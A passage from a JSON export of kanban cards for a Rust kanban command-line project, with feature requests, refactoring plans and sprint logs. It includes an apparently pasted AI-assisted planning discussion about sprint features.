            "ended_at": "2026-04-04T23:33:28.989172095Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742971856Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989172356Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "audit history - keep a log of changes",
        "updated_at": "2026-04-04T23:33:28.989174277Z"
      },
      {
        "card_number": 325,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-04-06T20:38:32.331398030Z",
        "description": "## Problem\n\nThere is no first-class CLI command to complete a card. The current workarounds are both bad:\n\n- `card update KAN-X --status done` — sets a metadata field that is redundant with column position (see KAN-324)\n- `card move KAN-X --column-id <uuid>` — requires the user to know the UUID of the completion column\n\nNeither is discoverable or ergonomic. Completing a card is one of the most common operations and should be a single, obvious command.\n\n## Proposed Commands\n\n```\nkanban <file> card complete <ID>   # move to completion column, set completed_at\nkanban <file> card reopen <ID>     # move back to first column, clear completed_at\n```\n\n## Behaviour\n\n**`card complete`**:\n1. Look up the card by identifier (e.g. `KAN-12`)\n2. Resolve the completion column: use `board.completion_column_id` if set; otherwise fall back to the column with the highest `position` value on the card's board\n3. Move the card to that column (reuse the `MoveCard` command internally)\n4. `completed_at` is set as a side effect of the move (see KAN-324 — this should be driven by column, not `CardStatus`)\n\n**`card reopen`**:\n1. Look up the card\n2. Resolve the first column: column with `position == 0` on the card's board\n3. Move the card there\n4. `completed_at` is cleared as a side effect\n\n## Offending Gap\n\n`kanban-cli/src/cli.rs` — `CardAction` enum has no `Complete` or `Reopen` variant:\n```rust\n// currently\npub enum CardAction {\n    Create(CardCreateArgs),\n    List(CardListArgs),\n    Get { id: String },\n    Update(CardUpdateArgs),\n    Move(CardMoveArgs),\n    Archive { id: String },\n    ...\n}\n```\n\n`kanban-mcp/src/lib.rs` — no `complete_card` or `reopen_card` tool registered.\n\nThe completion column resolution logic does not exist as a reusable function anywhere in `kanban-domain` — it is implied but never extracted.\n\n## Steps to Resolution\n\n1. **Domain** — add `fn resolve_completion_column(board: &Board, columns: &[Column]) -> Option<&Column>` and `fn resolve_first_column(columns: &[Column]) -> Option<&Column>` in `kanban-domain`\n2. **Red** — write tests for both resolution functions covering: `completion_column_id` set, `completion_column_id` null (falls back to max position), empty columns list\n3. **Service** — add `complete_card(card_id: Uuid)` and `reopen_card(card_id: Uuid)` to `KanbanOperations` trait and implement in `KanbanContext`\n4. **CLI** — add `Complete { id: String }` and `Reopen { id: String }` to `CardAction` in `cli.rs`; add handlers in `handlers/card.rs`\n5. **MCP** — register `complete_card` and `reopen_card` tools in `kanban-mcp/src/lib.rs`\n6. **Green + refactor** — run full test suite\n\n## Files Affected\n\n- `crates/kanban-domain/src/` — new column resolution helpers\n- `crates/kanban-service/src/context.rs` — `complete_card`, `reopen_card` impl\n- `crates/kanban-domain/src/operations.rs` (or wherever `KanbanOperations` is defined) — trait methods\n- `crates/kanban-cli/src/cli.rs` — new `CardAction` variants\n- `crates/kanban-cli/src/handlers/card.rs` — handler arms\n- `crates/kanban-mcp/src/lib.rs` — new tool registrations\n\n## Related\n\n- KAN-323 — fix misleading 'Card not found' on missing file\n- KAN-324 — remove `CardStatus`; `completed_at` should be driven by column move, not status field",
        "due_date": null,
        "id": "ec2fba00-8f90-4253-9ea6-e28920e12e90",
        "points": null,
        "position": 5,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541929321Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add 'card complete' and 'card reopen' CLI commands",
        "updated_at": "2026-04-06T21:44:46.541949414Z"
      },
      {
        "card_number": 10,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:48.075303Z",
        "created_at": "2025-10-10T22:15:09.199792Z",
        "description": "On the board level. \n\nBe able to configure priorities and change their names. \n\nWe should start with only medium?\n",
        "due_date": null,
        "id": "7cd165b0-6671-46d6-b837-4e73ada26333",
        "points": 1,
        "position": 5,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155906Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Add or update priorities",
        "updated_at": "2025-10-16T21:02:48.075303Z"
      },
      {
        "card_number": 38,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-12T15:43:38.123195Z",
        "description": "if a branch name is copied and then the prefix is updated for the board. the card is no longer connected to the correct branch name.\n\na log of branch names. prob the same goes for sprint names. so that we can always refer back to things that don't exist anymore\n",
        "due_date": null,
        "id": "8099e29b-21d9-404c-a716-47c659773f69",
        "points": 2,
        "position": 6,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-17T22:41:17.501321Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-10-31T20:07:14.934296Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264726Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:17.501325Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374927Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264726Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784612Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374929Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742973156Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784612Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989094425Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742973369Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989094682Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "branch name doesnt reflected the used version",
        "updated_at": "2026-04-04T23:33:28.989096160Z"
      },
      {
        "card_number": 13,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:49.028474Z",
        "created_at": "2025-10-10T23:01:18.553586Z",
        "description": "Order tasks by\n\n- Points\n- Priority\n- Date created\n- Date due\n- Date updated\n- Status\n\nMVP\n---\n\nI think in the tasks panel. hit o (for order or organize) and then are presented with a dialogue where can choose one of the above options.\n\nThe dialogue should use the same selection mechanism as the projects and tasks lists do.\n\nAfter one of the options have been selected. The task list should be ordered according to the chosen option.\n\nFor now we leave out Date due from selection as we have not added this feature yet.\n\nOrder can be descending or ascending. a for ascending and d for descending after selecting an item. Taking suggestions on UX here..\n\n---\n\nFor the future. Keep in mind that I would also like to order the projects panel in the same way as the tasks panel but along a shorter list of options\n\n- Name\n- Date created\n- Date updated\n",
        "due_date": null,
        "id": "6a0cbe1e-a05e-4aca-bd53-f0057215d671",
        "points": 2,
        "position": 6,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155907Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Add order tasks lists by",
        "updated_at": "2025-10-16T21:02:49.028474Z"
      },
      {
        "card_number": 324,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-04-06T20:37:11.537106294Z",
        "description": "## Problem\n\n`CardStatus` is a redundant domain enum that duplicates state already expressed by which column a card lives in. It creates two sources of truth and confuses users who expect `--status Complete` to work when `Complete` is a column name:\n\n```\n{\"error\":\"Invalid status 'Complete'. Valid values: todo, in-progress, blocked, done\"}\n```\n\nThe four status values (`Todo`, `InProgress`, `Blocked`, `Done`) have no meaning independent of column. A card is \"in progress\" because it's in the Doing column — not because of a separate status field.\n\n## Offending Code\n\nThe enum itself:\n```rust\n// kanban-domain/src/card.rs:20-25\npub enum CardStatus {\n    Todo,\n    InProgress,\n    Blocked,\n    Done,\n}\n```\n\nThe only real work it does: auto-toggling `completed_at` when status becomes `Done`:\n```rust\n// kanban-domain/src/card.rs:168-174\npub fn update_status(&mut self, status: CardStatus) {\n    if status == CardStatus::Done && self.status != CardStatus::Done {\n        self.completed_at = Some(Utc::now());\n    } else if status != CardStatus::Done && self.status == CardStatus::Done {\n        self.completed_at = None;\n    }\n    self.status = status;\n}\n```\n\nThis is already handled by the move-to-completion-column lifecycle in `card_lifecycle.rs:145-147`:\n```rust\nif is_moving_to_completion && card.status != CardStatus::Done {\n    Some(CardStatus::Done)\n} else if is_moving_from_completion && card.status == CardStatus::Done {\n    Some(CardStatus::Todo)\n}\n```\n\nDuplicate `parse_status` functions in both CLI and MCP:\n```rust\n// kanban-cli/src/handlers/card.rs:271-281\nfn parse_status(s: &str) -> Result<CardStatus, String> { ... }\n\n// kanban-mcp/src/lib.rs:72-83\nfn parse_status(s: &str) -> Result<CardStatus, McpError> { ... }\n```\n\nSorting by status as a numeric rank — meaningless without column context:\n```rust\n// kanban-domain/src/sort/mod.rs:90-95\nfn status_value(status: &CardStatus) -> u8 {\n    CardStatus::Done => 3,\n    CardStatus::InProgress => 2,\n    CardStatus::Blocked => 1,\n    CardStatus::Todo => 0,\n}\n```\n\n## Proposed Fix\n\n1. **Remove `CardStatus` enum** from `kanban-domain/src/card.rs`\n2. **Derive completion from `completion_column_id`** on `Board` — when a card is moved to the board's completion column, set `completed_at`; when moved away, clear it. This is already partially done in `card_lifecycle.rs` and just needs the `CardStatus::Done` check replaced with a column comparison.\n3. **Remove `status` field from `Card` and `CardSummary`** structs\n4. **Remove `status` from `CardUpdate`** and `CardListFilter`\n5. **Remove `--status` flag from CLI** `card update` and `card list` commands; remove `parse_status` from both `kanban-cli` and `kanban-mcp`\n6. **Remove `SortField::Status`** if it exists, or remove status from the sort ranking in `sort/mod.rs`\n7. **Migration**: existing persisted `status` fields can be ignored on load (serde `#[serde(default)]` or `#[serde(skip)]`); no data migration needed since `column_id` already carries the state\n\n## Steps to Resolution\n\n1. Red: write tests asserting `completed_at` is set when a card is moved to the `completion_column_id` column (no `CardStatus` involved)\n2. Remove `CardStatus` enum and all references — compiler will enumerate every callsite\n3. Update `card_lifecycle.rs` to set/clear `completed_at` based on `completion_column_id` comparison instead of `CardStatus::Done` check\n4. Remove `status` field from `Card`, `CardSummary`, `CardUpdate`, `CardListFilter`\n5. Remove `--status` from CLI and MCP, remove both `parse_status` functions\n6. Update persistence: add `#[serde(skip)]` or ignore on deserialise for backwards compat with existing JSON files\n7. Remove `status` from the SQLite schema (or keep column, ignore on read)\n8. Green + refactor — run full test suite, update integration tests\n\n## Files Affected\n\n- `crates/kanban-domain/src/card.rs` — remove enum, field, `update_status()`\n- `crates/kanban-domain/src/card_lifecycle.rs` — replace `CardStatus::Done` checks with column comparison\n- `crates/kanban-domain/src/sort/mod.rs` — remove `status_value()` and `SortField::Status`\n- `crates/kanban-domain/src/lib.rs` — remove `CardStatus` from public exports\n- `crates/kanban-cli/src/handlers/card.rs` — remove `parse_status`, `--status` flag handling\n- `crates/kanban-mcp/src/lib.rs` — remove `parse_status`, status fields from tool schemas\n- `crates/kanban-persistence-sqlite/` — drop or ignore `status` column\n- All tests referencing `CardStatus`",
        "due_date": null,
        "id": "5e08bf0b-eb8f-4ef7-93f6-5127ccc82c0b",
        "points": null,
        "position": 6,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:46.541925629Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Remove CardStatus — column position is the source of truth for card state",
        "updated_at": "2026-04-06T21:44:46.541946104Z"
      },
      {
        "card_number": 3,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:50.357039Z",
        "created_at": "2025-10-11T18:36:43.972262Z",
        "description": "It would be nice to be able to view the version of the program\n\nAlso add the version to the `--help` output\n",
        "due_date": null,
        "id": "9273b022-f7f8-4975-b9c5-7a57c55eba30",
        "points": 1,
        "position": 7,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155907Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "add -v flag",
        "updated_at": "2025-10-16T21:02:50.357039Z"
      },
      {
        "card_number": 84,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-22T19:49:01.680522Z",
        "description": "it makes sense right? an activated sprint can only be completed after the duration has passed\n\nnot sure. what if the tasks are all over. then we want it to be completed.\n\nSo if 0 tasks left or duration is over?\n",
        "due_date": null,
        "id": "9d7ee9b3-205a-4fab-997d-5b944805c2c9",
        "points": 2,
        "position": 7,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264761Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245015Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374964Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264761Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784585Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374964Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742987488Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784586Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989068309Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742987726Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989068657Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "a sprint can only be completed after the duration is over",
        "updated_at": "2026-04-04T23:33:28.989069750Z"
      },
      {
        "card_number": 85,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-23T05:09:02.396138Z",
        "description": "The active sprint view could make use some completed non completed list of cards columns like the passed sprint views have\n\nwhat do future sprint details show? nothing? \n",
        "due_date": null,
        "id": "f07db1d7-20c9-40e0-8e59-847811675040",
        "points": 1,
        "position": 8,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:23.898919Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155917Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:34.327395Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:23.898920Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264694Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:34.327395Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374933Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264694Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784554Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374935Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742989091Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784555Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989137415Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742989299Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989137685Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "bring the task columns, completed non completed into sprint details",
        "updated_at": "2026-04-04T23:33:28.989139666Z"
      },
      {
        "card_number": 16,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:51.185668Z",
        "created_at": "2025-10-11T18:38:07.855746Z",
        "description": "The \"Kanban Board\" header of the interface can go away.\n",
        "due_date": null,
        "id": "a189ef1a-903c-4c43-924e-2194562237f6",
        "points": 1,
        "position": 8,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155907Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "drop the Header in the UI",
        "updated_at": "2025-10-16T22:13:07.759257Z"
      },
      {
        "card_number": 276,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-03-31T22:21:47.505565478Z",
        "description": "Sometimes it could be handly to duplicate a card to just change one word or whatever\n",
        "due_date": null,
        "id": "ce3875d8-dab0-4544-8bc4-0547d23bf37b",
        "points": 2,
        "position": 8,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856517350Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Duplicate a card",
        "updated_at": "2026-04-04T23:35:37.856518420Z"
      },
      {
        "card_number": 301,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-04-04T23:49:05.148913928Z",
        "description": "Setting parent and child relationships in the card details view doesnt update the view with the set parents / child immediately.\n\nit does however update and show the element in the list when changing focus.\n\nSo prob. just need to like call update focus after setting the relationship\n",
        "due_date": null,
        "id": "eef5b69d-2a39-4af0-81b0-6fbad4231dc5",
        "points": null,
        "position": 9,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:49:14.433361405Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "setting parent/child relationships doesnt update ui",
        "updated_at": "2026-04-04T23:50:19.881317814Z"
      },
      {
        "card_number": 88,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-23T18:01:35.945027Z",
        "description": "it would be convenient to have a sprint complete itself after its duration has run its course.\n\non startup of the application make a check for if the sprint has been completed.\n\nwe also need some kind of interface in the board details to toggle this behaviour\n\nand the default should prob be on\n",
        "due_date": null,
        "id": "b3c18895-1fe4-45c2-8379-5c4b08e90f30",
        "points": 3,
        "position": 9,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264757Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245015Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.375016Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264757Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784578Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.375017Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742991092Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784579Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989165733Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742991303Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989165987Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "automatic sprint completion",
        "updated_at": "2026-04-04T23:33:28.989166792Z"
      },
      {
        "card_number": 17,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:51.760550Z",
        "created_at": "2025-10-11T18:39:14.248330Z",
        "description": "No need to explicitly generate IDS for cards.\n\nWe just give them IDs immediately\n",
        "due_date": null,
        "id": "ed0ead2b-6da9-4889-83b7-e4c60ab11032",
        "points": 3,
        "position": 9,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Give cards ID from the beginning",
        "updated_at": "2025-10-16T22:12:30.986301Z"
      },
      {
        "card_number": 18,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:52.370276Z",
        "created_at": "2025-10-11T18:42:39.943129Z",
        "description": "Be able to group cards by sprints. \nSet sprint duration and automatic starting of new sprints\n\nMVP\n\nBoard level settings defines sprint duration.\n\nIf duration is set, sprint init is possible.\n\nAdd Sprint, set start date, assign cards to it.\n\nWhen end date is passed. Start up a new sprint and uncompleted cards over.\n\nSprint will have sprint names the same way tasks do. `prefix-<auto-increment>/sprint-name`\n\nPrefix will be set by sprint settings.\n\nSprint names are derived from user supplied list or explicitly set per sprint (sprint details)\n\nIf a list of sprint names are supplied new sprint will consume each element in order\n\n---\n\nThere should be a UI panel for sprints. On selected Board hit 's' to see sprint details\n\nDiscussion\n---\n\nLooking at this feature comprehensively, here are the potential gaps and clarifications \n  needed:\n\n  🔴 Critical Issues\n\n  1. Keybinding conflict: 's' is already used for board settings. Need a different key for\n  sprint panel (maybe 't' for sPrinTs, or nested under settings?)\n  2. Sprint rollover trigger: When end date passes, what triggers the new sprint creation?\n    - On app startup check?\n    - On any board action?\n    - Background timer (would need tokio task)?\n    - Manual user action only?\n  3. Active sprint ambiguity:\n    - Can only one sprint be \"active\" at a time?\n    - Can you create future sprints in advance?\n    - What's the status model? (Planning, Active, Completed, Cancelled?)\n\n  🟡 Domain Model Gaps\n\n  4. Sprint entity needs:\n  struct Sprint {\n      id: Uuid,\n      board_id: Uuid,\n      sprint_number: u32,\n      name: String,  // format: prefix-<number>/sprint-name\n      start_date: DateTime<Utc>,\n      end_date: DateTime<Utc>,\n      status: SprintStatus,  // Active, Completed, Planned?\n      created_at: DateTime<Utc>,\n      updated_at: DateTime<Utc>,\n  }\n  5. Board additions:\n    - sprint_duration_days: Option<u32>\n    - sprint_prefix: Option<String>\n    - sprint_names: Vec<String>  // consumed in order\n    - next_sprint_number: u32\n    - current_sprint_id: Option<Uuid>  // which sprint is active?\n  6. Card additions:\n    - sprint_id: Option<Uuid>  // which sprint is this card in?\n\n  🟡 Unclear Behaviors\n\n  7. Sprint name list:\n    - Once consumed, is name removed from list or just marked as used?\n    - What happens when list is empty? Fall back to just sprint number?\n    - Can user replenish the list?\n  8. Card assignment:\n    - How do users assign cards to sprints? (UI interaction)\n    - Can cards exist without a sprint (backlog)?\n    - What defines \"uncompleted\" for rollover? (status != Done?)\n  9. Sprint settings UI:\n    - Where do users configure duration, prefix, name list?\n    - Part of board settings menu?\n    - Separate sprint settings panel?\n  10. Sprint completion:\n    - Is there a manual \"complete sprint early\" action?\n    - Or only automatic when end date passes?\n\n  🟢 Architecture Questions\n\n  11. UI Navigation:\n    - Is sprint panel a new Focus mode (like Boards/Cards)?\n    - Or a separate view that replaces card list?\n    - How to switch between sprint view and card view?\n  12. Sprint panel content:\n    - List all sprints for board?\n    - Show only current/active sprint?\n    - Show sprint stats (cards total, completed, remaining)?\n    - Burndown visualization?\n  13. Card filtering:\n    - Should main card list optionally filter by sprint?\n    - Show sprint name/info on cards in list?\n    - Visual indication of which cards are in which sprint?\n  14. Time zone handling:\n    - All dates in UTC internally?\n    - Display in local time?\n    - Sprint rollover happens at midnight in which timezone?\n\n  📋 Implementation Order Concerns\n\n  15. Data migration:\n    - Existing boards need default values for new sprint fields\n    - Existing cards get sprint_id: None (backlog)\n  16. MVP boundaries:\n    - MVP: Basic CRUD for sprints, card assignment, viewing\n    - Future: Burndown, velocity, sprint reports, analytics\n    - Which features are MVP vs future?\n\n  ❓ Questions for You\n\n  Before I can plan implementation:\n\n  1. Keybinding: What key should open sprint panel? (s is taken)\n  2. Rollover: Manual or automatic? If automatic, when checked?\n  3. Sprint status: Can multiple sprints exist? What are the states?\n  4. Card backlog: Can cards exist without sprint assignment?\n  5. MVP scope: Sprint stats/burndown in MVP or future?\n  6. Sprint panel: Separate focus mode or replaces card list?\n\n  Should I proceed with assumptions and note them in the plan, or do you want to clarify these\n  first?\n\n> 1. We move board settings into the edit project ui. \n> 2. alert the user on app start up with a dialogue that start new sprint (y/n). \n> 3. multiple sprints should be allowed in parallel to allow for focused work on distinct parts of a project. yes we want to be able to plan sprints. picking tasks from the card list. The card list will be filtered to the active sprint. Planning, Active, Completed, Cancelled - yes. \n> 6. I wonder if we would need the bi directional relationship between sprint and cards? \n> 7. marked as used. for now. no list leaves the user to have to manually input a name. until a name is available the sprint name is `prefix+<auto-increment>` when a name is available it is like specified before. Yes the users supplies the list and it can be topped off whenever. \n> 8. When a sprint is initially created it is marked as in planning. then we in the 